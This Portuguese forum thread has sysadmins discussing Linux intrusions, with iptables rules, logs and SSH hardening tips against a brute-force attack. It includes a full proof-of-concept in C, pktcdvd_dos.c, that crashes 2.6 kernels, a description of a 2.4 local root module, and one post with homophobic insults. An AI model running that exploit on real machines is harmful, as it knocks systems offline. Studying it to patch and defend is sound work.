Invasão Hacker

[Jim]

entra com usuario comum, compila e roda

[maverick_cba]

Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?

Agora fiquei com medo denovo. Preciso saber a gravidade da situação.

[Jim]

Se vc usa o kernel 2.6 nao terá esse problema.

[vonlinkerstain]

Vonlinkerstain, poderia me enviar esse código para eu testar no meu Debian 3.1?

Agora fiquei com medo denovo. Preciso saber a gravidade da situação.

No Debian eu ainda não o testei, mas ele só funciona nos kernels 2.4 pois é uma falha de system calls. O programa é um módulo, que pode ser carregado por um usuário comum, que deve estar na máquina, e ao ser carregado ele muda o uid do usuário para 0, com isso o cara vira root sem precisar de senha..

[MAJOR]

Sim, até agora vocês estão falando de exploits que exploram bufferoverflow.
Um bom Administrador de Sistema, Rede e DBA, não pode deixar de participar de grupos de segurança sites de segurança, sites de exploits e outros....
Pois scriptkids apenas colocam os script's em C, BASH,Perl para rodar, e pode ter certeza de que se você não estiver antenado, ele vai explorar uma falha no seu sistema.
Temos que ficar atentos com as versões que estão rodando nas máquinas pois quando uma versão sobe, é que algum BUG foi corrigido, então deem uma olhada o pq a versão subiu, vejam se não existem "Remote Code Execution" ou mesmo um "Arbitrary code Execution "pois se existir, ou você para o serviço, ou atualiza.
Lembrando tambem que a maioria das invasões vem de dentro da sua empresa, e não de fora, pois de dentro você tem muito mais serviços rodando no servidor e seus scripts estão mirados para fora!
E aquele cara que está com aviso prévio e odeia a empresa, e de alguma forma quer prejudicar o máximo possível a empresa?!!.


Se alguem tiver acesso a máquina em questão, (ssh) (tty) (telnet) entre outros é bom você ficar mil vezes mais esperto, pois exploits locais são muito comuns em Linux, Windows,MAC ,FreeBSD (pois a maioria das vezes o exploit está escrito em cima da sua aplicação e não do sistema que você está rodando) e se o "usuário" com conhecimento em exploits realmente quiser subir para root, é bem provavel que consiga.


Então, se cuidem Linuxers, pois a cada dia nascem mais e mais ScriptKids.


Não mencionei "Escovadores de Bits", pois sabemos que somos vulneraveis.




#######################################################################
/* pktcdvd_dos.c proof-of-concept
* This is only a lame POC which will crash the machine, no root shell here.
* --- alert7
* 2005-5-15
* the vulnerability in 2.6 up to and including 2.6.12-rc4
*
* gcc -o pktcdvd_dos pktcdvd_dos.c
*
* NOTE: require user can read pktcdvd block device




#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>


#define __NR_sys_ioctl __NR_ioctl



#define PKTCDVDDEVICE "/dev/hdc"


static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);


struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));


unsigned int get_addr_idt() {
struct idtr idtr;
asm("sidt %0" : "=m" (idtr));
return idtr.base;
}
struct desc_struct {
unsigned long a,b;
};
int main(int argc,char **argv)
{
unsigned int ptr_idt;
int iret ;
int fd;


printf("[++]user stack addr %p \n",&ptr_idt);
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
return -1;
}


ptr_idt=get_addr_idt();
printf("[++]IDT Addr %p \n",ptr_idt);



fd = open(PKTCDVDDEVICE,O_RDONLY);
if (fd ==-1)
{
printf("[--]");
fflush(stdout);
perror("open");
return -1;
}

unsigned long WriteTo ;


if ( (ptr_idt>>24)==0xc0){
printf("[++]this OS in Real Linux\n");
WriteTo= ptr_idt;
}else{
printf("[++]this OS maybe in VMWARE\n");
WriteTo = 0xc0100000;
}


printf("[++]call sys_ioctl will crash machine\n");
fflush(stdout);

int loopi;
for (loopi=0;loopi<0x100000 ;loopi++ )
{
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
fflush(stdout);
iret = sys_ioctl(fd,
CDROM_LAST_WRITTEN,
WriteTo+loopi*4);
if (iret ==-1)
{
printf("[--]");
fflush(stdout);
perror("ioctl");
//if in VMWARE ,rewrite ptr_idt adress will failed
printf("[--]still aliving\n");
close(fd);
return -1;
}
}
close(fd);
return 0;
}

[maverick_cba]

Soccoroooo!!!

Pessoal agora está acontecendo comigo.

tenho um servidor Debian 3.1 com kernel 2.6 e firewall iptables com politica drop para input e forward, acontece que tem alguem rodando um dicionário de dados no meu servidor ssh. O cara tá tentando invadir via brute force.

O estranho é que eu liberei ssh somente para um determinado ip, e até testei de outro lugar e a conexão foi barrada. Só que o meu auth.log tem um monte de linhas assim:

Illegal user guest from 203.64.42.109
POSSIBLE BREAKIN ATTEMPT!

e assim vai tentando com vários usuários
Não sei como o cara tá conseguindo fazer requisições no meu firewall, pois a regra deveria funcionar.

Agora peço ajuda a vocês, pois no meu servidor tem uns usuários padão criados e queria saber quais posso remover:
Segue uma lista deles:
sync
games
man
lp
mail
news
uucp
proxy
backup
list
gnats
exim

Agradeço a ajuda...

[MAJOR]

change the apllication Door.

Up our down.

hehehe

=]

[vonlinkerstain]

O games e o man com certeza.
Mas seŕa que isso no log nao são as tentativas barradas?
Vc fez log do iptables?

[maverick_cba]

Não, não tenho nenhuma regra de log no iptables.

Instalei o snort aqui, só que não sei como configura-lo. Será que alguem conheçe um bom tutu aí?

[ruyneto]

Cara existe mtos tutoriais bons de snort no google, mas a maioria eh sobre configurações básicas, se quiser se aprofundar mais recomendo algum livro.

falows

Cara hacker é tudo uns almofadinhas... gays ou sei la .. Sõ mulherzinhas qu gostam de saber da vida dos outros...

Hacker.. vão se fud**

[maverick_cba]

Bom pelo menos as minhas defesas com ipatables estão boas... pois o cara tá tentando desde o dia 13/08 e ainda não conseguiu nada...

Alem do mais dei uma reforçada nas senhas... vamo ver até onde meu servidor aguenta.

Agora eu preciso achar um modo de barrar as conexões dele, pois como eu disse ele tá conseguindo fazer requisições, e ainda não conseguiu entender como ele está, pois a politica padrão para INPUT é DROP e somente liberei ssh para um determinado ip.

[Super_Diaulas]

troca a porta!
verifica de onde tá vindo essas requisições...pega o ip do desgraçado e bloqueia no iptables

[Jim]

- feche todas as portas que nao for usar do servidor, libere ssh apenas para um IP da sua rede interna
- gere logs com iptables
- Analise os logs do iptables e trave o IP do cara
- nao permita de forma alguma login como root.

Já é um bom começo.

[morronix]

Bom,pelo menos no primeiro caso,ficou claro que sempre é bom utilizar versões estáveis e que deve manter abertas apenas portas necessárias..bom saber...

[maverick_cba]

Galera, fiz o seguinte dei uma revisada nas minhas regras e percebi que tinha uma regra que tava abrindo uma brecha permitindo conexões de fora:

iptables -A INPUT -p tcp --tcp-flags SYN,ACK,FIN,RST SYN -m limit --limit 1/s -j ACCEPT

Removi essa e outras regras parecidas e dai parece ter resolvido o problema. Tb mandei fazer log de todas as conexões com destino a porta 22 com exceção do ip que liberei.

iptables -A INPUT -p tcp -i eth0 -s ! 200.xxx.xxx.xxx -m limit --limit 20/hour --dport 22 -j LOG --log-prefix="Acesso nao Autorizado"

Instalei o SNORT, removi usuários desnecessários do sistema e tirei acesso ao shell aos demais.

Agora me respondam uma coisa, essa regra estava liberando o acesso creio eu por ser genérica. Como posso fazer com que essa regra seja encaixada sem afetar as outras. Já me falaram para criar outra CHAIN mas não consegui entender bem.

[GrayFox]

Como eu nao sou adepto ao linux e sim ao bsd, deixa eu ver se consigo entender..



iptables -A INPUT -p tcp --tcp-flags SYN,ACK,FIN,RST SYN -m limit --limit 1/s -j ACCEPT

o iptables aceita conexoes entrantes com as flags SYN, ack, fin, rst, com o limite de 1 pacote por segundo....

acho q essa regra deixaria qualquer porta aberta nao acha?
se estiver errado, coloquem a resolucao pra todos please..

6)

[edmafer]

-------------------------------

Apaguei tudo, pois o desatento aqui pegou o bonde andando, e ainda quis ir na janela.

Não tinha nada a ver com o assunto mais.

[maverick_cba]

Olha pessoal, fiz os procedimentos conforme descrito no meu posta anterior e agora tá tudo na santa paz.

O iptables está gerando os logs e as tentativas estão sendo barradas.

Agora um fato importante, fui consultar outros amigos que gerenciam firewalls e isso está acontecendo tb com todos eles, portanto acho que está sendo um tipo de ataque geral por brute force num range de ips, pois está afetando vários servidores.

Agora um pergunta, tem como denucniar isso para que alguem possa agir? Onde posso fazer isso?

[edmafer]

Log de tentativa eu geralmente tenho uns 10 por dia, vindo de vários cantos do mundo.

Aug 25 18:55:27 boss kernel: SSH Tentativa externo IN=eth1 OUT= MAC=00:0a:e6:b1:97:86:00:04:16:02:0f:9d:08:00 SRC=67.167.12.227 DST=192.168.1.3 LEN=60 TOS=0x00 PREC=0x20 TTL=46 ID=28583 DF PROTO=TCP SPT=2577 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0

Note que os cara geralmente tentam na 22 (não vi nenhum log de alguem tentando na minha porta SSH).

O meu iptables está da seguinte forma:

Como padrão eu bloquiei tudo

#Bloqueando toda a entrada
iptables -t filter -P INPUT DROP
 
#Bloqueando o redirecionamento
iptables -t filter -P FORWARD DROP
 
#A saida por padrão será liberada
iptables -t filter -P OUTPUT ACCEPT
 
#Bloquando POSTROUTING
iptables -t nat -P POSTROUTING DROP
 
#Bloqueando PREROUTING
iptables -t nat -P PREROUTING DROP

Agora para poder liberar conexões eu preciso liberar tanto o INPUT, FORWARD e o PREROUTING. Se não ele não deixa acessar.

Um exemplo interessante é que eu defini quais seriam os DNS que seriam acessados pela minha rede, permitindo acesso somente a eles.
E a volta, somente se for deles.

Não sei se é possível no seu caso, mas no meu eu só permito acesso a um servidor de e-mail (o da empresa, que é externo).

SSH eu mudei de porta, dei permissão a somente um usuário, e este não tem permissão pra nada (nem diretório ele tem).

Também editei uma configuração no SSH para ele limitar as conexões e começar a negar a partir de um tanto, por ex:

MaxStartups 5:50:10

Ou seja ele aceita no máximo 10 conexões simultanes, negando 50% quando acima de 5.

E log por todo firewall, se o cara espirrar na frente do computador, eu to sabendo que ele tá tentando passar vírus.

A sim, minhas regras são restritivas, tanto pra fora, quanto pra dentro da rede.

Para mim todo usuário é mau.